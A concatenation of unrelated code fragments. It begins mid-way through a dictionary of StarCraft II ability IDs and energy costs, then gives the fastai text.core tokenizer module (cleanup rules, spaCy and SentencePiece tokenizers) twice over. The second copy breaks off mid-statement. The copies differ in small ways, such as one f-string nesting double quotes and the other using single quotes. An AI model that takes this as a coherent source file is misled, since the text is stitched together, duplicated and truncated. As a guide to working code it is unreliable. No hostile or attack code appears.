'Contaminate', 'energy_cost': 125}, 283: {'ability_name': 'RavagerCorrosiveBile'}, 305: {'ability_name': 'BurrowLurkerMPDown'}, 306: {'ability_name': 'BurrowLurkerMPUp'}, 309: {'ability_name': 'BurrowRavagerDown'}, 310: {'ability_name': 'BurrowRavagerUp'}, 311: {'ability_name': 'MorphToRavager'}, 312: {'ability_name': 'MorphToTransportOverlord'}, 314: {'ability_name': 'ThorNormalMode'}, 359: {'ability_name': 'MorphToHellion'}, 369: {'ability_name': 'MorphToHellionTank'}, 383: {'ability_name': 'BlindingCloud', 'energy_cost': 100}, 385: {'ability_name': 'Yoink', 'energy_cost': 75}, 388: {'ability_name': 'ViperConsumeStructure'}, 392: {'ability_name': 'VolatileBurstBuilding'}, 399: {'ability_name': 'WidowMineBurrow'}, 400: {'ability_name': 'WidowMineUnburrow'}, 401: {'ability_name': 'WidowMineAttack'}, 402: {'ability_name': 'TornadoMissile'}, 405: {'ability_name': 'HallucinationOracle', 'energy_cost': 75}, 406: {'ability_name': 'MedivacSpeedBoost'}, 421: {'ability_name': 'OracleRevelation', 'energy_cost': 50}, 470: {'ability_name': 'TemporalField', 'energy_cost': 100}, 524: {'ability_name': 'MorphToLurker'}, 528: {'ability_name': 'PurificationNovaTargeted'}, 530: {'ability_name': 'LockOn'}, 534: {'ability_name': 'Hyperjump'}, 536: {'ability_name': 'ThorAPMode'}, 539: {'ability_name': 'NydusWormTransport'}, 540: {'ability_name': 'OracleWeapon', 'energy_cost': 25}, 547: {'ability_name': 'HallucinationDisruptor', 'energy_cost': 75}, 548: {'ability_name': 'HallucinationAdept', 'energy_cost': 75}, 549: {'ability_name': 'VoidRaySwarmDamageBoost'}, 609: {'ability_name': 'ParasiticBomb', 'energy_cost': 125}, 610: {'ability_name': 'AdeptPhaseShift'}, 613: {'ability_name': 'LurkerHoldFire'}, 614: {'ability_name': 'LurkerRemoveHoldFire'}, 617: {'ability_name': 'LiberatorAGTarget'}, 618: {'ability_name': 'LiberatorAATarget'}, 632: {'ability_name': 'KD8Charge'}, 635: {'ability_name': 'AdeptPhaseShiftCancel'}, 636: {'ability_name': 'AdeptShadePhaseShiftCancel'}, 689: {'ability_name': 'DarkTemplarBlink'}, 693: {'ability_name': 'BattlecruiserAttack'}, 695: {'ability_name': 'BattlecruiserMove'}, 697: {'ability_name': 'BattlecruiserStop'}, 705: {'ability_name': 'VoidRaySwarmDamageBoostCancel'}, 709: {'ability_name': 'ChannelSnipe', 'energy_cost': 50}, 712: {'ability_name': 'DarkShrineResearch'}, 713: {'ability_name': 'LurkerDenMPResearch'}, 714: {'ability_name': 'ObserverSiegeMorphtoObserver'}, 715: {'ability_name': 'ObserverMorphtoObserverSiege'}, 718: {'ability_name': 'RavenScramblerMissile', 'energy_cost': 75}, 721: {'ability_name': 'RavenShredderMissile', 'energy_cost': 75}, 722: {'ability_name': 'ChronoBoostEnergyCost', 'energy_cost': 50}, 723: {'ability_name': 'NexusMassRecall', 'energy_cost': 50}}
# AUTOGENERATED! DO NOT EDIT! File to edit: nbs/30_text.core.ipynb (unless otherwise specified). __all__ = ['UNK', 'PAD', 'BOS', 'EOS', 'FLD', 'TK_REP', 'TK_WREP', 'TK_UP', 'TK_MAJ', 'spec_add_spaces', 'rm_useless_spaces', 'replace_rep', 'replace_wrep', 'fix_html', 'replace_all_caps', 'replace_maj', 'lowercase', 'replace_space', 'BaseTokenizer', 'SpacyTokenizer', 'WordTokenizer', 'TokenizeBatch', 'tokenize1', 'parallel_tokenize', 'fn_counter_pkl', 'fn_lengths_pkl', 'tokenize_folder', 'read_tokenized_file', 'tokenize_files', 'tokenize_df', 'tokenize_csv', 'load_tokenized_csv', 'get_tokenizer', 'Tokenizer', 'eu_langs', 'SentencePieceTokenizer', 'SubwordTokenizer'] # Cell from ..torch_basics import * from ..data.all import * # Cell import spacy,html from spacy.symbols import ORTH # Cell #special tokens UNK, PAD, BOS, EOS, FLD, TK_REP, TK_WREP, TK_UP, TK_MAJ = "xxunk xxpad xxbos xxeos xxfld xxrep xxwrep xxup xxmaj".split() # Cell _re_spec = re.compile(r'([/#\\])') def spec_add_spaces(t): "Add spaces around / and #" return _re_spec.sub(r' \1 ', t) # Cell _re_space = re.compile(' {2,}') def rm_useless_spaces(t): "Remove multiple spaces" return _re_space.sub(' ', t) # Cell _re_rep = re.compile(r'(\S)(\1{2,})') def replace_rep(t): "Replace repetitions at the character level: cccc -- TK_REP 4 c" def _replace_rep(m): c,cc = m.groups() return f' {TK_REP} {len(cc)+1} {c} ' return _re_rep.sub(_replace_rep, t) # Cell _re_wrep = re.compile(r'(?:\s|^)(\w+)\s+((?:\1\s+)+)\1(\s|\W|$)') # Cell def replace_wrep(t): "Replace word repetitions: word word word word -- TK_WREP 4 word" def _replace_wrep(m): c,cc,e = m.groups() return f' {TK_WREP} {len(cc.split())+2} {c} {e}' return _re_wrep.sub(_replace_wrep, t) # Cell def fix_html(x): "Various messy things we've seen in documents" x = x.replace('#39;', "'").replace('amp;', '&').replace('#146;', "'").replace('nbsp;', ' ').replace( '#36;', '$').replace('\\n', "\n").replace('quot;', "'").replace('<br />', "\n").replace( '\\"', '"').replace('<unk>',UNK).replace(' @.@ ','.').replace(' @-@ ','-').replace('...',' …') return html.unescape(x) # Cell _re_all_caps = re.compile(r'(\s|^)([A-Z]+[^a-z\s]*)(?=(\s|$))') # Cell def replace_all_caps(t): "Replace tokens in ALL CAPS by their lower version and add `TK_UP` before." def _replace_all_caps(m): tok = f'{TK_UP} ' if len(m.groups()[1]) > 1 else '' return f"{m.groups()[0]}{tok}{m.groups()[1].lower()}" return _re_all_caps.sub(_replace_all_caps, t) # Cell _re_maj = re.compile(r'(\s|^)([A-Z][^A-Z\s]*)(?=(\s|$))') # Cell def replace_maj(t): "Replace tokens in ALL CAPS by their lower version and add `TK_UP` before." def _replace_maj(m): tok = f'{TK_MAJ} ' if len(m.groups()[1]) > 1 else '' return f"{m.groups()[0]}{tok}{m.groups()[1].lower()}" return _re_maj.sub(_replace_maj, t) # Cell def lowercase(t, add_bos=True, add_eos=False): "Converts `t` to lowercase" return (f'{BOS} ' if add_bos else '') + t.lower().strip() + (f' {EOS}' if add_eos else '') # Cell def replace_space(t): "Replace embedded spaces in a token with unicode line char to allow for split/join" return t.replace(' ', '▁') # Cell defaults.text_spec_tok = [UNK, PAD, BOS, EOS, FLD, TK_REP, TK_WREP, TK_UP, TK_MAJ] defaults.text_proc_rules = [fix_html, replace_rep, replace_wrep, spec_add_spaces, rm_useless_spaces, replace_all_caps, replace_maj, lowercase] defaults.text_postproc_rules = [replace_space] # Cell class BaseTokenizer(): "Basic tokenizer that just splits on spaces" def __init__(self, split_char=' ', **kwargs): self.split_char=split_char def __call__(self, items): return (t.split(self.split_char) for t in items) # Cell class SpacyTokenizer(): "Spacy tokenizer for `lang`" def __init__(self, lang='en', special_toks=None, buf_sz=5000): special_toks = ifnone(special_toks, defaults.text_spec_tok) nlp = spacy.blank(lang, disable=["parser", "tagger", "ner"]) for w in special_toks: nlp.tokenizer.add_special_case(w, [{ORTH: w}]) self.pipe,self.buf_sz = nlp.pipe,buf_sz def __call__(self, items): return (L(doc).attrgot('text') for doc in self.pipe(items, batch_size=self.buf_sz)) # Cell WordTokenizer = SpacyTokenizer # Cell class TokenizeBatch: "A wrapper around `tok_func` to apply `rules` and tokenize in parallel" def __init__(self, tok_func=SpacyTokenizer, rules=None, post_rules=None, **tok_kwargs ): self.rules = L(ifnone(rules, defaults.text_proc_rules)) self.post_f = compose(*L(ifnone(post_rules, defaults.text_postproc_rules))) self.tok = tok_func(**tok_kwargs) def __call__(self, batch): return (L(o).map(self.post_f) for o in self.tok(maps(*self.rules, batch))) # Cell def tokenize1(text, tok_func=SpacyTokenizer, rules=None, post_rules=None, **tok_kwargs): "Tokenize one `text` with an instance of `tok_func` and some `rules`" return first(TokenizeBatch(tok_func, rules, post_rules, **tok_kwargs)([text])) # Cell def parallel_tokenize(items, tok_func, rules, as_gen=False, n_workers=defaults.cpus, **tok_kwargs): "Calls a potential setup on `tok_func` before launching `TokenizeBatch` in parallel" if hasattr(tok_func, 'setup'): tok_kwargs = tok_func(**tok_kwargs).setup(items, rules) return parallel_gen(TokenizeBatch, items, as_gen=as_gen, tok_func=tok_func, rules=rules, n_workers=n_workers, **tok_kwargs) # Cell fn_counter_pkl = 'counter.pkl' fn_lengths_pkl = 'lengths.pkl' # Cell def tokenize_folder(path, extensions=None, folders=None, output_dir=None, n_workers=defaults.cpus, rules=None, tok_func=SpacyTokenizer, encoding='utf8', **tok_kwargs): "Tokenize text files in `path` in parallel using `n_workers`" path,extensions = Path(path),ifnone(extensions, ['.txt']) fnames = get_files(path, extensions=extensions, recurse=True, folders=folders) output_dir = Path(ifnone(output_dir, path.parent/f'{path.name}_tok')) rules = partial(Path.read, encoding=encoding) + L(ifnone(rules, defaults.text_proc_rules.copy())) lengths,counter = {},Counter() for i,tok in parallel_tokenize(fnames, tok_func, rules, as_gen=True, n_workers=n_workers, **tok_kwargs): out = output_dir/fnames[i].relative_to(path) out.write(' '.join(tok)) lengths[str(fnames[i].relative_to(path))] = len(tok) counter.update(tok) (output_dir/fn_lengths_pkl).save(lengths) (output_dir/fn_counter_pkl).save(counter) # Cell def read_tokenized_file(f): return L(f.read().split(' ')) # Cell def tokenize_files(files, output_dir, output_names=None, n_workers=defaults.cpus, rules=None, tok_func=SpacyTokenizer, encoding='utf8', **tok_kwargs): "Tokenize text `files` in parallel using `n_workers`" if output_names is None: output_names = L(f'{i}.txt' for i in range_of(files)) output_dir = Path(output_dir) rules = partial(Path.read, encoding=encoding) + L(ifnone(rules, defaults.text_proc_rules.copy())) lengths = (output_dir/fn_lengths_pkl).load() if (output_dir/fn_lengths_pkl).exists() else {} counter = (output_dir/fn_counter_pkl).load() if (output_dir/fn_counter_pkl).exists() else Counter() for i,tok in parallel_tokenize(files, tok_func, rules, as_gen=True, n_workers=n_workers, **tok_kwargs): out = output_dir/output_names[i] out.write(' '.join(tok)) lengths[output_names[i]] = len(tok) counter.update(tok) (output_dir/fn_lengths_pkl).save(lengths) (output_dir/fn_counter_pkl).save(counter) # Cell def _join_texts(df, mark_fields=False): "Join texts in row `idx` of `df`, marking each field with `FLD` if `mark_fields=True`" text_col = (f'{FLD} {1} ' if mark_fields else '' ) + df.iloc[:,0].astype(str) for i in range(1,len(df.columns)): text_col += (f' {FLD} {i+1} ' if mark_fields else ' ') + df.iloc[:,i].astype(str) return text_col.values # Cell def tokenize_df(df, text_cols, n_workers=defaults.cpus, rules=None, mark_fields=None, tok_func=SpacyTokenizer, res_col_name="text", **tok_kwargs): "Tokenize texts in `df[text_cols]` in parallel using `n_workers`" text_cols = [df.columns[c] if isinstance(c, int) else c for c in L(text_cols)] #mark_fields defaults to False if there is one column of texts, True if there are multiple if mark_fields is None: mark_fields = len(text_cols)>1 rules = L(ifnone(rules, defaults.text_proc_rules.copy())) texts = _join_texts(df[text_cols], mark_fields=mark_fields) outputs = L(parallel_tokenize(texts, tok_func, rules, n_workers=n_workers, **tok_kwargs) ).sorted().itemgot(1) other_cols = df.columns[~df.columns.isin(text_cols)] res = df[other_cols].copy() res[res_col_name] = outputs res[f'{res_col_name}_length'] = [len(o) for o in outputs] return res,Counter(outputs.concat()) # Cell def tokenize_csv(fname, text_cols, outname=None, n_workers=4, rules=None, mark_fields=None, tok_func=SpacyTokenizer, header='infer', chunksize=50000, **tok_kwargs): "Tokenize texts in the `text_cols` of the csv `fname` in parallel using `n_workers`" df = pd.read_csv(fname, header=header, chunksize=chunksize) outname = Path(ifnone(outname, fname.parent/f'{fname.stem}_tok.csv')) cnt = Counter() for i,dfp in enumerate(df): out,c = tokenize_df(dfp, text_cols, n_workers=n_workers, rules=rules, mark_fields=mark_fields, tok_func=tok_func, **tok_kwargs) out.text = out.text.str.join(' ') out.to_csv(outname, header=(None,header)[i==0], index=False, mode=('a','w')[i==0]) cnt.update(c) outname.with_suffix('.pkl').save(cnt) # Cell def load_tokenized_csv(fname): "Utility function to quickly load a tokenized csv ans the corresponding counter" fname = Path(fname) out = pd.read_csv(fname) for txt_col in out.columns[1:-1]: out[txt_col] = out[txt_col].str.split(' ') return out,fname.with_suffix('.pkl').load() # Cell def get_tokenizer(tok_func=SpacyTokenizer, **kwargs): sign = str(inspect.signature(tok_func)) for k in list(kwargs.keys()): if k not in sign: kwargs.pop(k) return tok_func(**kwargs) # Cell class Tokenizer(Transform): input_types = (str, list, L, tuple, Path) def __init__(self, tokenizer, rules=None, counter=None, lengths=None, mode=None, sep=' '): store_attr(self, 'tokenizer,counter,lengths,mode,sep') self.rules = defaults.text_proc_rules if rules is None else rules @classmethod @delegates(tokenize_df, keep=True) def from_df(cls, text_cols, tok_func=SpacyTokenizer, rules=None, sep=' ', **kwargs): res = cls(get_tokenizer(tok_func, **kwargs), rules=rules, mode='df') res.kwargs,res.train_setup = merge({'tok_func': tok_func}, kwargs),False res.text_cols,res.sep = text_cols,sep return res @classmethod @delegates(tokenize_folder, keep=True) def from_folder(cls, path, tok_func=SpacyTokenizer, rules=None, **kwargs): path = Path(path) output_dir = Path(ifnone(kwargs.get('output_dir'), path.parent/f'{path.name}_tok')) if not output_dir.exists(): tokenize_folder(path, rules=rules, **kwargs) res = cls(get_tokenizer(tok_func, **kwargs), counter=(output_dir/fn_counter_pkl).load(), lengths=(output_dir/fn_lengths_pkl).load(), rules=rules, mode='folder') res.path,res.output_dir = path,output_dir return res def setups(self, dsets): if not self.mode == 'df' or not isinstance(dsets.items, pd.DataFrame): return dsets.items,count = tokenize_df(dsets.items, self.text_cols, rules=self.rules, **self.kwargs) if self.counter is None: self.counter = count return dsets def encodes(self, o:Path): if self.mode=='folder' and str(o).startswith(str(self.path)): tok = self.output_dir/o.relative_to(self.path) return L(tok.read().split(' ')) else: return self._tokenize1(o.read()) def encodes(self, o:str): return self._tokenize1(o) def _tokenize1(self, o): return first(self.tokenizer([compose(*self.rules)(o)])) def get_lengths(self, items): if self.lengths is None: return None if self.mode == 'df': if isinstance(items, pd.DataFrame) and 'text_lengths' in items.columns: return items['text_length'].values if self.mode == 'folder': try: res = [self.lengths[str(Path(i).relative_to(self.path))] for i in items] if len(res) == len(items): return res except: return None def decodes(self, o): return TitledStr(self.sep.join(o)) # Cell eu_langs = ["bg", "cs", "da", "de", "el", "en", "es", "et", "fi", "fr", "ga", "hr", "hu", "it","lt","lv","mt","nl","pl","pt","ro","sk","sl","sv"] # all European langs # Cell class SentencePieceTokenizer():#TODO: pass the special tokens symbol to sp "Spacy tokenizer for `lang`" def __init__(self, lang='en', special_toks=None, sp_model=None, vocab_sz=None, max_vocab_sz=30000, model_type='unigram', char_coverage=None, cache_dir='tmp'): try: from sentencepiece import SentencePieceTrainer,SentencePieceProcessor except ImportError: raise Exception('sentencepiece module is missing: run `pip install sentencepiece`') self.sp_model,self.cache_dir = sp_model,Path(cache_dir) self.vocab_sz,self.max_vocab_sz,self.model_type = vocab_sz,max_vocab_sz,model_type self.char_coverage = ifnone(char_coverage, 0.99999 if lang in eu_langs else 0.9998) self.special_toks = ifnone(special_toks, defaults.text_spec_tok) if sp_model is None: self.tok = None else: self.tok = SentencePieceProcessor() self.tok.Load(str(sp_model)) os.makedirs(self.cache_dir, exist_ok=True) def _get_vocab_sz(self, raw_text_path): cnt = Counter() with open(raw_text_path, 'r') as f: for line in f.readlines(): cnt.update(line.split()) if len(cnt)//4 > self.max_vocab_sz: return self.max_vocab_sz res = len(cnt)//4 while res%8 != 0: res+=1 return res def train(self, raw_text_path): "Train a sentencepiece tokenizer on `texts` and save it in `path/tmp_dir`" from sentencepiece import SentencePieceTrainer vocab_sz = self._get_vocab_sz(raw_text_path) if self.vocab_sz is None else self.vocab_sz spec_tokens = ['\u2581'+s for s in self.special_toks] q = '\"' SentencePieceTrainer.Train(" ".join([ f"--input={q}{raw_text_path}{q} --vocab_size={vocab_sz} --model_prefix={q}{self.cache_dir/"spm"}{q}", f"--character_coverage={self.char_coverage} --model_type={self.model_type}", f"--unk_id={len(spec_tokens)} --pad_id=-1 --bos_id=-1 --eos_id=-1", f"--user_defined_symbols={",".join(spec_tokens)}"])) raw_text_path.unlink() return self.cache_dir/'spm.model' def setup(self, items, rules=None): from sentencepiece import SentencePieceProcessor if rules is None: rules = [] if self.tok is not None: return {'sp_model': self.sp_model} raw_text_path = self.cache_dir/'texts.out' with open(raw_text_path, 'w') as f: for t in progress_bar(maps(*rules, items), total=len(items), leave=False): f.write(f'{t}\n') sp_model = self.train(raw_text_path) self.tok = SentencePieceProcessor() self.tok.Load(str(sp_model)) def __call__(self, items): for t in items: yield self.tok.EncodeAsPieces(t) # Cell SubwordTokenizer = SentencePieceTokenizer
# AUTOGENERATED! DO NOT EDIT! File to edit: nbs/30_text.core.ipynb (unless otherwise specified). __all__ = ['UNK', 'PAD', 'BOS', 'EOS', 'FLD', 'TK_REP', 'TK_WREP', 'TK_UP', 'TK_MAJ', 'spec_add_spaces', 'rm_useless_spaces', 'replace_rep', 'replace_wrep', 'fix_html', 'replace_all_caps', 'replace_maj', 'lowercase', 'replace_space', 'BaseTokenizer', 'SpacyTokenizer', 'WordTokenizer', 'TokenizeBatch', 'tokenize1', 'parallel_tokenize', 'fn_counter_pkl', 'fn_lengths_pkl', 'tokenize_folder', 'read_tokenized_file', 'tokenize_files', 'tokenize_df', 'tokenize_csv', 'load_tokenized_csv', 'get_tokenizer', 'Tokenizer', 'eu_langs', 'SentencePieceTokenizer', 'SubwordTokenizer'] # Cell from ..torch_basics import * from ..data.all import * # Cell import spacy,html from spacy.symbols import ORTH # Cell #special tokens UNK, PAD, BOS, EOS, FLD, TK_REP, TK_WREP, TK_UP, TK_MAJ = "xxunk xxpad xxbos xxeos xxfld xxrep xxwrep xxup xxmaj".split() # Cell _re_spec = re.compile(r'([/#\\])') def spec_add_spaces(t): "Add spaces around / and #" return _re_spec.sub(r' \1 ', t) # Cell _re_space = re.compile(' {2,}') def rm_useless_spaces(t): "Remove multiple spaces" return _re_space.sub(' ', t) # Cell _re_rep = re.compile(r'(\S)(\1{2,})') def replace_rep(t): "Replace repetitions at the character level: cccc -- TK_REP 4 c" def _replace_rep(m): c,cc = m.groups() return f' {TK_REP} {len(cc)+1} {c} ' return _re_rep.sub(_replace_rep, t) # Cell _re_wrep = re.compile(r'(?:\s|^)(\w+)\s+((?:\1\s+)+)\1(\s|\W|$)') # Cell def replace_wrep(t): "Replace word repetitions: word word word word -- TK_WREP 4 word" def _replace_wrep(m): c,cc,e = m.groups() return f' {TK_WREP} {len(cc.split())+2} {c} {e}' return _re_wrep.sub(_replace_wrep, t) # Cell def fix_html(x): "Various messy things we've seen in documents" x = x.replace('#39;', "'").replace('amp;', '&').replace('#146;', "'").replace('nbsp;', ' ').replace( '#36;', '$').replace('\\n', "\n").replace('quot;', "'").replace('<br />', "\n").replace( '\\"', '"').replace('<unk>',UNK).replace(' @.@ ','.').replace(' @-@ ','-').replace('...',' …') return html.unescape(x) # Cell _re_all_caps = re.compile(r'(\s|^)([A-Z]+[^a-z\s]*)(?=(\s|$))') # Cell def replace_all_caps(t): "Replace tokens in ALL CAPS by their lower version and add `TK_UP` before." def _replace_all_caps(m): tok = f'{TK_UP} ' if len(m.groups()[1]) > 1 else '' return f"{m.groups()[0]}{tok}{m.groups()[1].lower()}" return _re_all_caps.sub(_replace_all_caps, t) # Cell _re_maj = re.compile(r'(\s|^)([A-Z][^A-Z\s]*)(?=(\s|$))') # Cell def replace_maj(t): "Replace tokens in ALL CAPS by their lower version and add `TK_UP` before." def _replace_maj(m): tok = f'{TK_MAJ} ' if len(m.groups()[1]) > 1 else '' return f"{m.groups()[0]}{tok}{m.groups()[1].lower()}" return _re_maj.sub(_replace_maj, t) # Cell def lowercase(t, add_bos=True, add_eos=False): "Converts `t` to lowercase" return (f'{BOS} ' if add_bos else '') + t.lower().strip() + (f' {EOS}' if add_eos else '') # Cell def replace_space(t): "Replace embedded spaces in a token with unicode line char to allow for split/join" return t.replace(' ', '▁') # Cell defaults.text_spec_tok = [UNK, PAD, BOS, EOS, FLD, TK_REP, TK_WREP, TK_UP, TK_MAJ] defaults.text_proc_rules = [fix_html, replace_rep, replace_wrep, spec_add_spaces, rm_useless_spaces, replace_all_caps, replace_maj, lowercase] defaults.text_postproc_rules = [replace_space] # Cell class BaseTokenizer(): "Basic tokenizer that just splits on spaces" def __init__(self, split_char=' ', **kwargs): self.split_char=split_char def __call__(self, items): return (t.split(self.split_char) for t in items) # Cell class SpacyTokenizer(): "Spacy tokenizer for `lang`" def __init__(self, lang='en', special_toks=None, buf_sz=5000): special_toks = ifnone(special_toks, defaults.text_spec_tok) nlp = spacy.blank(lang, disable=["parser", "tagger", "ner"]) for w in special_toks: nlp.tokenizer.add_special_case(w, [{ORTH: w}]) self.pipe,self.buf_sz = nlp.pipe,buf_sz def __call__(self, items): return (L(doc).attrgot('text') for doc in self.pipe(items, batch_size=self.buf_sz)) # Cell WordTokenizer = SpacyTokenizer # Cell class TokenizeBatch: "A wrapper around `tok_func` to apply `rules` and tokenize in parallel" def __init__(self, tok_func=SpacyTokenizer, rules=None, post_rules=None, **tok_kwargs ): self.rules = L(ifnone(rules, defaults.text_proc_rules)) self.post_f = compose(*L(ifnone(post_rules, defaults.text_postproc_rules))) self.tok = tok_func(**tok_kwargs) def __call__(self, batch): return (L(o).map(self.post_f) for o in self.tok(maps(*self.rules, batch))) # Cell def tokenize1(text, tok_func=SpacyTokenizer, rules=None, post_rules=None, **tok_kwargs): "Tokenize one `text` with an instance of `tok_func` and some `rules`" return first(TokenizeBatch(tok_func, rules, post_rules, **tok_kwargs)([text])) # Cell def parallel_tokenize(items, tok_func, rules, as_gen=False, n_workers=defaults.cpus, **tok_kwargs): "Calls a potential setup on `tok_func` before launching `TokenizeBatch` in parallel" if hasattr(tok_func, 'setup'): tok_kwargs = tok_func(**tok_kwargs).setup(items, rules) return parallel_gen(TokenizeBatch, items, as_gen=as_gen, tok_func=tok_func, rules=rules, n_workers=n_workers, **tok_kwargs) # Cell fn_counter_pkl = 'counter.pkl' fn_lengths_pkl = 'lengths.pkl' # Cell def tokenize_folder(path, extensions=None, folders=None, output_dir=None, n_workers=defaults.cpus, rules=None, tok_func=SpacyTokenizer, encoding='utf8', **tok_kwargs): "Tokenize text files in `path` in parallel using `n_workers`" path,extensions = Path(path),ifnone(extensions, ['.txt']) fnames = get_files(path, extensions=extensions, recurse=True, folders=folders) output_dir = Path(ifnone(output_dir, path.parent/f'{path.name}_tok')) rules = partial(Path.read, encoding=encoding) + L(ifnone(rules, defaults.text_proc_rules.copy())) lengths,counter = {},Counter() for i,tok in parallel_tokenize(fnames, tok_func, rules, as_gen=True, n_workers=n_workers, **tok_kwargs): out = output_dir/fnames[i].relative_to(path) out.write(' '.join(tok)) lengths[str(fnames[i].relative_to(path))] = len(tok) counter.update(tok) (output_dir/fn_lengths_pkl).save(lengths) (output_dir/fn_counter_pkl).save(counter) # Cell def read_tokenized_file(f): return L(f.read().split(' ')) # Cell def tokenize_files(files, output_dir, output_names=None, n_workers=defaults.cpus, rules=None, tok_func=SpacyTokenizer, encoding='utf8', **tok_kwargs): "Tokenize text `files` in parallel using `n_workers`" if output_names is None: output_names = L(f'{i}.txt' for i in range_of(files)) output_dir = Path(output_dir) rules = partial(Path.read, encoding=encoding) + L(ifnone(rules, defaults.text_proc_rules.copy())) lengths = (output_dir/fn_lengths_pkl).load() if (output_dir/fn_lengths_pkl).exists() else {} counter = (output_dir/fn_counter_pkl).load() if (output_dir/fn_counter_pkl).exists() else Counter() for i,tok in parallel_tokenize(files, tok_func, rules, as_gen=True, n_workers=n_workers, **tok_kwargs): out = output_dir/output_names[i] out.write(' '.join(tok)) lengths[output_names[i]] = len(tok) counter.update(tok) (output_dir/fn_lengths_pkl).save(lengths) (output_dir/fn_counter_pkl).save(counter) # Cell def _join_texts(df, mark_fields=False): "Join texts in row `idx` of `df`, marking each field with `FLD` if `mark_fields=True`" text_col = (f'{FLD} {1} ' if mark_fields else '' ) + df.iloc[:,0].astype(str) for i in range(1,len(df.columns)): text_col += (f' {FLD} {i+1} ' if mark_fields else ' ') + df.iloc[:,i].astype(str) return text_col.values # Cell def tokenize_df(df, text_cols, n_workers=defaults.cpus, rules=None, mark_fields=None, tok_func=SpacyTokenizer, res_col_name="text", **tok_kwargs): "Tokenize texts in `df[text_cols]` in parallel using `n_workers`" text_cols = [df.columns[c] if isinstance(c, int) else c for c in L(text_cols)] #mark_fields defaults to False if there is one column of texts, True if there are multiple if mark_fields is None: mark_fields = len(text_cols)>1 rules = L(ifnone(rules, defaults.text_proc_rules.copy())) texts = _join_texts(df[text_cols], mark_fields=mark_fields) outputs = L(parallel_tokenize(texts, tok_func, rules, n_workers=n_workers, **tok_kwargs) ).sorted().itemgot(1) other_cols = df.columns[~df.columns.isin(text_cols)] res = df[other_cols].copy() res[res_col_name] = outputs res[f'{res_col_name}_length'] = [len(o) for o in outputs] return res,Counter(outputs.concat()) # Cell def tokenize_csv(fname, text_cols, outname=None, n_workers=4, rules=None, mark_fields=None, tok_func=SpacyTokenizer, header='infer', chunksize=50000, **tok_kwargs): "Tokenize texts in the `text_cols` of the csv `fname` in parallel using `n_workers`" df = pd.read_csv(fname, header=header, chunksize=chunksize) outname = Path(ifnone(outname, fname.parent/f'{fname.stem}_tok.csv')) cnt = Counter() for i,dfp in enumerate(df): out,c = tokenize_df(dfp, text_cols, n_workers=n_workers, rules=rules, mark_fields=mark_fields, tok_func=tok_func, **tok_kwargs) out.text = out.text.str.join(' ') out.to_csv(outname, header=(None,header)[i==0], index=False, mode=('a','w')[i==0]) cnt.update(c) outname.with_suffix('.pkl').save(cnt) # Cell def load_tokenized_csv(fname): "Utility function to quickly load a tokenized csv ans the corresponding counter" fname = Path(fname) out = pd.read_csv(fname) for txt_col in out.columns[1:-1]: out[txt_col] = out[txt_col].str.split(' ') return out,fname.with_suffix('.pkl').load() # Cell def get_tokenizer(tok_func=SpacyTokenizer, **kwargs): sign = str(inspect.signature(tok_func)) for k in list(kwargs.keys()): if k not in sign: kwargs.pop(k) return tok_func(**kwargs) # Cell class Tokenizer(Transform): input_types = (str, list, L, tuple, Path) def __init__(self, tokenizer, rules=None, counter=None, lengths=None, mode=None, sep=' '): store_attr(self, 'tokenizer,counter,lengths,mode,sep') self.rules = defaults.text_proc_rules if rules is None else rules @classmethod @delegates(tokenize_df, keep=True) def from_df(cls, text_cols, tok_func=SpacyTokenizer, rules=None, sep=' ', **kwargs): res = cls(get_tokenizer(tok_func, **kwargs), rules=rules, mode='df') res.kwargs,res.train_setup = merge({'tok_func': tok_func}, kwargs),False res.text_cols,res.sep = text_cols,sep return res @classmethod @delegates(tokenize_folder, keep=True) def from_folder(cls, path, tok_func=SpacyTokenizer, rules=None, **kwargs): path = Path(path) output_dir = Path(ifnone(kwargs.get('output_dir'), path.parent/f'{path.name}_tok')) if not output_dir.exists(): tokenize_folder(path, rules=rules, **kwargs) res = cls(get_tokenizer(tok_func, **kwargs), counter=(output_dir/fn_counter_pkl).load(), lengths=(output_dir/fn_lengths_pkl).load(), rules=rules, mode='folder') res.path,res.output_dir = path,output_dir return res def setups(self, dsets): if not self.mode == 'df' or not isinstance(dsets.items, pd.DataFrame): return dsets.items,count = tokenize_df(dsets.items, self.text_cols, rules=self.rules, **self.kwargs) if self.counter is None: self.counter = count return dsets def encodes(self, o:Path): if self.mode=='folder' and str(o).startswith(str(self.path)): tok = self.output_dir/o.relative_to(self.path) return L(tok.read().split(' ')) else: return self._tokenize1(o.read()) def encodes(self, o:str): return self._tokenize1(o) def _tokenize1(self, o): return first(self.tokenizer([compose(*self.rules)(o)])) def get_lengths(self, items): if self.lengths is None: return None if self.mode == 'df': if isinstance(items, pd.DataFrame) and 'text_lengths' in items.columns: return items['text_length'].values if self.mode == 'folder': try: res = [self.lengths[str(Path(i).relative_to(self.path))] for i in items] if len(res) == len(items): return res except: return None def decodes(self, o): return TitledStr(self.sep.join(o)) # Cell eu_langs = ["bg", "cs", "da", "de", "el", "en", "es", "et", "fi", "fr", "ga", "hr", "hu", "it","lt","lv","mt","nl","pl","pt","ro","sk","sl","sv"] # all European langs # Cell class SentencePieceTokenizer():#TODO: pass the special tokens symbol to sp "Spacy tokenizer for `lang`" def __init__(self, lang='en', special_toks=None, sp_model=None, vocab_sz=None, max_vocab_sz=30000, model_type='unigram', char_coverage=None, cache_dir='tmp'): try: from sentencepiece import SentencePieceTrainer,SentencePieceProcessor except ImportError: raise Exception('sentencepiece module is missing: run `pip install sentencepiece`') self.sp_model,self.cache_dir = sp_model,Path(cache_dir) self.vocab_sz,self.max_vocab_sz,self.model_type = vocab_sz,max_vocab_sz,model_type self.char_coverage = ifnone(char_coverage, 0.99999 if lang in eu_langs else 0.9998) self.special_toks = ifnone(special_toks, defaults.text_spec_tok) if sp_model is None: self.tok = None else: self.tok = SentencePieceProcessor() self.tok.Load(str(sp_model)) os.makedirs(self.cache_dir, exist_ok=True) def _get_vocab_sz(self, raw_text_path): cnt = Counter() with open(raw_text_path, 'r') as f: for line in f.readlines(): cnt.update(line.split()) if len(cnt)//4 > self.max_vocab_sz: return self.max_vocab_sz res = len(cnt)//4 while res%8 != 0: res+=1 return res def train(self, raw_text_path): "Train a sentencepiece tokenizer on `texts` and save it in `path/tmp_dir`" from sentencepiece import SentencePieceTrainer vocab_sz = self._get_vocab_sz(raw_text_path) if self.vocab_sz is None else self.vocab_sz spec_tokens = ['\u2581'+s for s in self.special_toks] q = '\"' SentencePieceTrainer.Train(" ".join([ f"--input={q}{raw_text_path}{q} --vocab_size={vocab_sz} --model_prefix={q}{self.cache_dir/'spm'}{q}", 